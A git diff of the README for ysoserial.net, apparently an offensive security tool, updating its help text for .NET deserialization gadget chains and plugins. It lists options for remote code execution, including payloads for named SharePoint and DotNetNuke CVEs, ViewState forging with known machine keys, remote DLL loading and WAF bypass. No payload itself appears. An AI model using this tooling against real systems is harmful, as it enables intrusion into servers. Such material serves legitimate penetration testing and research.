diff --git a/README.md b/README.md index 89588e1..d7cdb68 100644 --- a/README.md +++ b/README.md @@ -32,327 +32,407 @@ $ ./ysoserial.exe --fullhelp ysoserial.net generates deserialization payloads for a variety of .NET formatters. == GADGETS == - (*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored] - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Not bridge but derived - Extra options: - --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator - [default], 2 -> use - TextFormattingRunPropertiesMarshal - - (*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class] - Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter - Labels: Not bridge or derived - Extra options: - --var, --variant=VALUE Payload variant number where applicable. - Choices: 1 (default), 2 (shorter but may not - work between versions) - - (*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] - Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter - Labels: Not bridge or derived - Extra options: - --var, --variant=VALUE Payload variant number where applicable. - Choices: 1 (default), 2 (shorter but may not - work between versions) - - (*) AxHostState - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) ClaimsIdentity - Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and derived, OnDeserialized - Supported formatter for the bridge: BinaryFormatter - (*) ClaimsPrincipal - Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization - Supported formatter for the bridge: BinaryFormatter - (*) DataSet - Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) DataSetOldBehaviour [This gadget targets and old behaviour of DataSet which uses XML format] - Formatters: BinaryFormatter , LosFormatter - Labels: Bridge and derived - Supported formatter for the bridge: LosFormatter - Extra options: - --spoofedAssembly=VALUE - The assembly name you want to use in the - generated serialized object (example: 'mscorlib') - - (*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] - Formatters: BinaryFormatter , LosFormatter - Labels: Bridge and derived - Extra options: - --spoofedAssembly=VALUE - The assembly name you want to use in the - generated serialized object (example: 'mscorlib') - - (*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget] - Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) GenericPrincipal - Formatters: BinaryFormatter , LosFormatter - Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization - Supported formatter for the bridge: BinaryFormatter - Extra options: - --var, --variant=VALUE Payload variant number where applicable. - Choices: 1 (uses serialized ClaimsIdentities), 2 - (uses serialized Claims) - - (*) ObjectDataProvider - Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , MessagePackTypeless >= 2.3.75, MessagePackTypelessLz4 >= 2.3.75 , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0 - Labels: Not bridge or derived - Extra options: - --var, --variant=VALUE Payload variant number where applicable. - Choices: 1, 2, 3, ... based on formatter. - --xamlurl=VALUE This is to create a very short payload when - affected box can read the target XAML URL e.g. - "http://b8.ee/x" (can be a file path on a shared - drive or the local system). This is used by the - 3rd XAML payload which is a ResourceDictionary - with the Source parameter. Command parameter - will be ignored. The shorter the better! - - (*) ObjRef - Formatters: BinaryFormatter , LosFormatter , ObjectStateFormatter , SoapFormatter - Labels: - (*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)] - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Not bridge but derived - (*) ResourceSet - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer - Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either) - Extra options: - --ig, --internalgadget=VALUE - The numerical internal gadget choice to use: - 1=TypeConfuseDelegate, - 2=TextFormattingRunProperties (default: 1 - [TypeConfuseDelegate]) - - (*) RolePrincipal - Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) SessionSecurityToken - Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) SessionViewStateHistoryItem - Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: LosFormatter - (*) TextFormattingRunProperties [This normally generates the shortest payload] - Formatters: BinaryFormatter , DataContractSerializer , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Not bridge but derived - Extra options: - --xamlurl=VALUE This is to create a very short payload when - affected box can read the target XAML URL e.g. - "http://b8.ee/x" (can be a file path on a shared - drive or the local system). This is used by the - 3rd XAML payload of ObjectDataProvider which is - a ResourceDictionary with the Source parameter. - Command parameter will be ignored. The shorter - the better! - --hasRootDCS To include a root element with the - DataContractSerializer payload. - - (*) ToolboxItemContainer - Formatters: BinaryFormatter , LosFormatter , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) TypeConfuseDelegate - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer - Labels: Not bridge or derived - (*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono] - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer - Labels: Not bridge or derived - (*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)] - Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2) - Labels: Bridge and derived, Not in GAC - Supported formatter for the bridge: BinaryFormatter - Extra options: - --var, --variant=VALUE Payload variant number where applicable. - Choices: 1, 2, or 3 based on formatter. - - (*) WindowsIdentity - Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and derived - Supported formatter for the bridge: BinaryFormatter - (*) WindowsPrincipal - Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Bridge and derived - (*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] - Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter - Labels: Not bridge but derived - Extra options: - --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator - [default], 2 -> use - TextFormattingRunPropertiesMarshal + (*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored] + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Not bridge but derived + Extra options: + --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator + [default], 2 -> use + TextFormattingRunPropertiesMarshal + + (*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class] + Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter + Labels: Not bridge or derived + Extra options: + --var, --variant=VALUE Payload variant number where applicable. + Choices: 1 (default), 2 (shorter but may not + work between versions) + + (*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] + Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter + Labels: Not bridge or derived + Extra options: + --var, --variant=VALUE Payload variant number where applicable. + Choices: 1 (default), 2 (shorter but may not + work between versions) + + (*) AxHostState + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) BaseActivationFactory [Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)] + Formatters: Json.Net + Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll + (*) ClaimsIdentity + Formatters: BinaryFormatter , LosFormatter , SoapFormatter + Labels: Bridge and derived, OnDeserialized + Supported formatter for the bridge: BinaryFormatter + (*) ClaimsPrincipal + Formatters: BinaryFormatter , LosFormatter , SoapFormatter + Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization + Supported formatter for the bridge: BinaryFormatter + (*) DataSet + Formatters: BinaryFormatter , LosFormatter , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) DataSetOldBehaviour [This gadget targets and old behaviour of DataSet which uses XML format] + Formatters: BinaryFormatter , LosFormatter + Labels: Bridge and derived + Supported formatter for the bridge: LosFormatter + Extra options: + --spoofedAssembly=VALUE + The assembly name you want to use in the + generated serialized object (example: 'mscorlib') + + (*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] + Formatters: BinaryFormatter , LosFormatter + Labels: Bridge and derived + Extra options: + --spoofedAssembly=VALUE + The assembly name you want to use in the + generated serialized object (example: 'mscorlib') + + (*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget] + Formatters: BinaryFormatter , LosFormatter , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) GenericPrincipal + Formatters: BinaryFormatter , LosFormatter + Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization + Supported formatter for the bridge: BinaryFormatter + Extra options: + --var, --variant=VALUE Payload variant number where applicable. + Choices: 1 (uses serialized ClaimsIdentities), 2 + (uses serialized Claims) + + (*) GetterCompilerResults [Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework. DLL path delivered with -c argument] + Formatters: Json.Net + Labels: Chain of arbitrary getter call and not derived gadget, Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework + Extra options: + --var, --variant=VALUE Variant number. Variant defines a different + getter-call gadget. Choices: + 1 (default) - PropertyGrid getter-call gadget, + 2 - ComboBox getter-call gadget + 3 - ListBox getter-call gadget + 4 - CheckedListBox getter-call gadget + + (*) GetterSecurityException + Formatters: Json.Net + Labels: Chain of arbitrary getter call and derived gadget + Extra options: + --var, --variant=VALUE Variant number. Variant defines a different + getter-call gadget. Choices: + 1 (default) - PropertyGrid getter-call gadget, + 2 - ComboBox getter-call gadget + 3 - ListBox getter-call gadget + 4 - CheckedListBox getter-call gadget + + (*) GetterSettingsPropertyValue + Formatters: Json.Net , MessagePackTypeless >= 2.3.75 , MessagePackTypelessLz4 >= 2.3.75 , Xaml + Labels: Chain of arbitrary getter call and derived gadget + Extra options: + --var, --variant=VALUE Variant number. Variant defines a different + getter-call gadget. Choices: + 1 (default) - PropertyGrid getter-call gadget, + 2 - ComboBox getter-call gadget + 3 - ListBox getter-call gadget + 4 - CheckedListBox getter-call gadget + + (*) ObjectDataProvider + Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , MessagePackTypeless >= 2.3.75 , MessagePackTypelessLz4 >= 2.3.75 , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0 + Labels: Not bridge or derived + Extra options: + --var, --variant=VALUE Payload variant number where applicable. + Choices: 1, 2, 3, ... based on formatter. + --xamlurl=VALUE This is to create a very short payload when + affected box can read the target XAML URL e.g. + "http://b8.ee/x" (can be a file path on a shared + drive or the local system). This is used by the + 3rd XAML payload which is a ResourceDictionary + with the Source parameter. Command parameter + will be ignored. The shorter the better! + + (*) ObjRef + Formatters: BinaryFormatter , LosFormatter , ObjectStateFormatter , SoapFormatter + Labels: + (*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)] + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Not bridge but derived + (*) ResourceSet + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer + Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either) + Extra options: + --ig, --internalgadget=VALUE + The numerical internal gadget choice to use: + 1=TypeConfuseDelegate, + 2=TextFormattingRunProperties (default: 1 + [TypeConfuseDelegate]) + + (*) RolePrincipal + Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) SessionSecurityToken + Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) SessionViewStateHistoryItem + Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: LosFormatter + (*) TextFormattingRunProperties [This normally generates the shortest payload] + Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Not bridge but derived + Extra options: + --xamlurl=VALUE This is to create a very short payload when + affected box can read the target XAML URL e.g. + "http://b8.ee/x" (can be a file path on a shared + drive or the local system). This is used by the + 3rd XAML payload of ObjectDataProvider which is + a ResourceDictionary with the Source parameter. + Command parameter will be ignored. The shorter + the better! + --hasRootDCS To include a root element with the + DataContractSerializer payload. + + (*) ToolboxItemContainer + Formatters: BinaryFormatter , LosFormatter , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) TypeConfuseDelegate + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer + Labels: Not bridge or derived + (*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono] + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer + Labels: Not bridge or derived + (*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)] + Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2) + Labels: Bridge and derived, Not in GAC + Supported formatter for the bridge: BinaryFormatter + Extra options: + --var, --variant=VALUE Payload variant number where applicable. + Choices: 1, 2, or 3 based on formatter. + + (*) WindowsIdentity + Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Bridge and derived + Supported formatter for the bridge: BinaryFormatter + (*) WindowsPrincipal + Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Bridge and derived + (*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] + Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter + Labels: Not bridge but derived + Extra options: + --var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator + [default], 2 -> use + TextFormattingRunPropertiesMarshal + + (*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll] + Formatters: Json.Net + Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC + Extra options: + --var, --variant=VALUE Variant number. Variant defines a different + Stream delivery class. Choices: + 1 (default and GAC) - LazyFileStream for Stream + delivery, file path has to be provided for -c + argument (UNC or local) + 2 (non-GAC, requires Microsoft.Web.Deploymen- + t.dll) - ReadOnlyStreamFromStrings for Stream + delivery, command to execute can be provided for + -c argument + == PLUGINS == - (*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object) - Options: - -c, --command=VALUE the command to be executed. - -u, --url=VALUE the url passed to Activator.GetObject. - -s if TCPChannel security should be enabled. - - (*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection) - Options: - -M, --mode=VALUE the payload mode: HttpStaticObjectsCollection or - SessionStateItemCollection. Default: - HttpStaticObjectsCollection - -o, --output=VALUE the output format (raw|base64). - -c, --command=VALUE the command to be executed - -t, --test whether to run payload locally. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - - (*) ApplicationTrust (Generates XML payload for the ApplicationTrust class) - Options: - -c, --command=VALUE the command to be executed - -t, --test whether to run payload locally. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - - (*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps) - Options: - -F, --format=VALUE the object format: Csv, DeviceIndependentBitmap, - DataInterchangeFormat, PenData, RiffAudio, - WindowsForms10PersistentObject, System.String, - SymbolicLink, TaggedImageFileFormat, WaveAudio. - Default: WindowsForms10PersistentObject (the - only one that works in Feb 2020 as a result of - an incomplete silent patch - - will not be - useful to target text based fields anymore) - -c, --command=VALUE the command to be executed - -t, --test whether to run payload locally. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - - (*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822) - Options: - -m, --mode=VALUE the payload mode: read_file, write_file, - run_command. - -c, --command=VALUE the command to be executed in run_command mode. - -u, --url=VALUE the url to fetch the file from in write_file - mode. - -f, --file=VALUE the file to read in read_file mode or the file - to write to in write_file_mode. - --minify Whether to minify the payloads where applicable - (experimental). Default: false - - (*) Resx (Generates RESX and .RESOURCES files) - Options: - -M, --mode=VALUE the payload mode: indirect_resx_file, - CompiledDotResources (useful for CVE-2020-0932 - for example), BinaryFormatter, SoapFormatter. - -c, --command=VALUE the command to be executed in BinaryFormatter - and CompiledDotResources. If this is provided - for SoapFormatter, it will be used as a file for - ActivitySurrogateSelectorFromFile - -g, --gadget=VALUE The gadget chain used for BinaryFormatter and - CompiledDotResources (default: - TextFormattingRunProperties). - -F, --file=VALUE UNC file path location: this is used in - indirect_resx_file mode. - --of, --outputfile=VALUE - a file path location for CompiledDotResources to - store the .resources file (default: payloa- - d.resources) - -t, --test Whether to run payload locally. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - - (*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class) - Options: - -c, --command=VALUE the command to be executed e.g. "cmd /c calc" - -t, --test whether to run payload locally. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - - (*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421) - Options: - --cve=VALUE the CVE reference: CVE-2020-1147 (result is safe - for a POST request), CVE-2019-0604, CVE-2018-8421 - --useurl to use the XAML url rather than using the direct - command in CVE-2019-0604 and CVE-2018-8421 - -g, --gadget=VALUE a gadget chain that supports LosFormatter for - CVE-2020-1147. Default: TypeConfuseDelegate - -c, --command=VALUE the command to be executed e.g. "cmd /c calc" or - the XAML url e.g. "http://b8.ee/x" to make the - payload shorter with the `--useurl` argument - - (*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method) - Options: - -c, --command=VALUE the command to be executed - -t, --test whether to run payload locally. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - - (*) ViewState (Generates a ViewState using known MachineKey parameters) - Options: - --examples to show a few examples. Other parameters will be - ignored - -g, --gadget=VALUE a gadget chain that supports LosFormatter. - Default: ActivitySurrogateSelector - -c, --command=VALUE the command suitable for the used gadget (will - be ignored for ActivitySurrogateSelector) - --upayload=VALUE the unsigned LosFormatter payload in (base64 - encoded). The gadget and command parameters will - be ignored - --generator=VALUE the __VIEWSTATEGENERATOR value which is in HEX, - useful for .NET <= 4.0. When not empty, 'legacy' - will be used and 'path' and 'apppath' will be - ignored. - --path=VALUE the target web page. example: /app/folder1/pag- - e.aspx - --apppath=VALUE the application path. this is needed in order to - simulate TemplateSourceDirectory - --islegacy when provided, it uses the legacy algorithm - suitable for .NET 4.0 and below - --isencrypted this will be used when the legacy algorithm is - used to bypass WAFs - --viewstateuserkey=VALUE - this to set the ViewStateUserKey parameter that - sometimes used as the anti-CSRF token - --decryptionalg=VALUE the encryption algorithm can be set to DES, - 3DES, AES. Default: AES - --decryptionkey=VALUE this is the decryptionKey attribute from - machineKey in the web.config file - --validationalg=VALUE the validation algorithm can be set to SHA1, - HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES, - AES. Default: HMACSHA256 - --validationkey=VALUE this is the validationKey attribute from - machineKey in the web.config file - --showraw to stop URL-encoding the result. Default: false - --minify Whether to minify the payloads where applicable - (experimental). Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple. - Default: true - --isdebug to show useful debugging messages! - + (*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object) + Options: + -c, --command=VALUE the command to be executed. + -u, --url=VALUE the url passed to Activator.GetObject. + -s if TCPChannel security should be enabled. + + (*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection) + Options: + -M, --mode=VALUE the payload mode: HttpStaticObjectsCollection or + SessionStateItemCollection. Default: + HttpStaticObjectsCollection + -o, --output=VALUE the output format (raw|base64). + -c, --command=VALUE the command to be executed + -t, --test whether to run payload locally. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + + (*) ApplicationTrust (Generates XML payload for the ApplicationTrust class) + Options: + -c, --command=VALUE the command to be executed + -t, --test whether to run payload locally. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + + (*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps) + Options: + -F, --format=VALUE the object format: Csv, DeviceIndependentBitmap, + DataInterchangeFormat, PenData, RiffAudio, + WindowsForms10PersistentObject, System.String, + SymbolicLink, TaggedImageFileFormat, WaveAudio. + Default: WindowsForms10PersistentObject (the + only one that works in Feb 2020 as a result of + an incomplete silent patch - - will not be + useful to target text based fields anymore) + -c, --command=VALUE the command to be executed + -t, --test whether to run payload locally. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + + (*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822) + Options: + -m, --mode=VALUE the payload mode: read_file, write_file, + run_command. + -c, --command=VALUE the command to be executed in run_command mode. + -u, --url=VALUE the url to fetch the file from in write_file + mode. + -f, --file=VALUE the file to read in read_file mode or the file + to write to in write_file_mode. + --minify Whether to minify the payloads where applicable + (experimental). Default: false + + (*) GetterCallGadgets (Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled) + Options: + -l prints list of implemented gadgets + -i, --inner=VALUE file containing inner-gadget + -g, --gadget=VALUE gadget to use + -m, --member=VALUE getter to call (required for some gadgets) + -t test gadget (execute) + + (*) NetNonRceGadgets (Implements Non-RCE gadgets for .NET Framework) + Options: + -l prints list of implemented gadgets + -i, --input=VALUE input to the gadget + -g, --gadget=VALUE gadget to use + -f, --formatter=VALUE Formatter to use + -t test gadget (execute after generation) + + (*) Resx (Generates RESX and .RESOURCES files) + Options: + -M, --mode=VALUE the payload mode: indirect_resx_file, + CompiledDotResources (useful for CVE-2020-0932 + for example), BinaryFormatter, SoapFormatter. + -c, --command=VALUE the command to be executed in BinaryFormatter + and CompiledDotResources. If this is provided + for SoapFormatter, it will be used as a file for + ActivitySurrogateSelectorFromFile + -g, --gadget=VALUE The gadget chain used for BinaryFormatter and + CompiledDotResources (default: + TextFormattingRunProperties). + -F, --file=VALUE UNC file path location: this is used in + indirect_resx_file mode. + --of, --outputfile=VALUE + a file path location for CompiledDotResources to + store the .resources file (default: payloa- + d.resources) + -t, --test Whether to run payload locally. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + + (*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class) + Options: + -c, --command=VALUE the command to be executed e.g. "cmd /c calc" + -t, --test whether to run payload locally. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + + (*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421) + Options: + --cve=VALUE the CVE reference: CVE-2020-1147 (result is safe + for a POST request), CVE-2019-0604, CVE-2018-8421 + --useurl to use the XAML url rather than using the direct + command in CVE-2019-0604 and CVE-2018-8421 + -g, --gadget=VALUE a gadget chain that supports LosFormatter for + CVE-2020-1147. Default: TypeConfuseDelegate + -c, --command=VALUE the command to be executed e.g. "cmd /c calc" or + the XAML url e.g. "http://b8.ee/x" to make the + payload shorter with the `--useurl` argument + + (*) ThirdPartyGadgets (Implements gadgets for 3rd Party Libraries) + Options: + -l prints list of implemented gadgets + -i, --input=VALUE input to the gadget + -g, --gadget=VALUE gadget to use + -f, --formatter=VALUE formatter to use + -r removes version and pubkeytoken from types, it + may be useful when we do not know version of + targetd library or require short payload + -t test gadget (execute after generation) + + (*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method) + Options: + -c, --command=VALUE the command to be executed + -t, --test whether to run payload locally. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + + (*) ViewState (Generates a ViewState using known MachineKey parameters) + Options: + --examples to show a few examples. Other parameters will be + ignored + -g, --gadget=VALUE a gadget chain that supports LosFormatter. + Default: ActivitySurrogateSelector + -c, --command=VALUE the command suitable for the used gadget (will + be ignored for ActivitySurrogateSelector) + -s, --stdin The command to be executed will be read from + standard input. + --upayload=VALUE the unsigned LosFormatter payload in (base64 + encoded). The gadget and command parameters will + be ignored + --generator=VALUE the __VIEWSTATEGENERATOR value which is in HEX, + useful for .NET <= 4.0. When not empty, 'legacy' + will be used and 'path' and 'apppath' will be + ignored. + --path=VALUE the target web page. example: /app/folder1/pag- + e.aspx + --apppath=VALUE the application path. this is needed in order to + simulate TemplateSourceDirectory + --islegacy when provided, it uses the legacy algorithm + suitable for .NET 4.0 and below + --isencrypted this will be used when the legacy algorithm is + used to bypass WAFs + --viewstateuserkey=VALUE + this to set the ViewStateUserKey parameter that + sometimes used as the anti-CSRF token + --decryptionalg=VALUE the encryption algorithm can be set to DES, + 3DES, AES. Default: AES + --decryptionkey=VALUE this is the decryptionKey attribute from + machineKey in the web.config file + --validationalg=VALUE the validation algorithm can be set to SHA1, + HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES, + AES. Default: HMACSHA256 + --validationkey=VALUE this is the validationKey attribute from + machineKey in the web.config file + --showraw to stop URL-encoding the result. Default: false + --minify Whether to minify the payloads where applicable + (experimental). Default: false + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple. + Default: true + --isdebug to show useful debugging messages! + Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads. @@ -364,44 +444,44 @@ Options: -g, --gadget=VALUE The gadget chain. -f, --formatter=VALUE The formatter. -c, --command=VALUE The command to be executed. - --rawcmd Command will be executed as is without `cmd /c ` - being appended (anything after first space is an + --rawcmd Command will be executed as is without `cmd /c ` + being appended (anything after first space is an argument). - -s, --stdin The command to be executed will be read from + -s, --stdin The command to be executed will be read from standard input. --bgc, --bridgedgadgetchains=VALUE - Chain of bridged gadgets separated by comma (,). - Each gadget will be used to complete the next - bridge gadget. The last one will be used in the - requested gadget. This will be ignored when + Chain of bridged gadgets separated by comma (,). + Each gadget will be used to complete the next + bridge gadget. The last one will be used in the + requested gadget. This will be ignored when using the searchformatter argument. -t, --test Whether to run payload locally. Default: false - --outputpath=VALUE The output 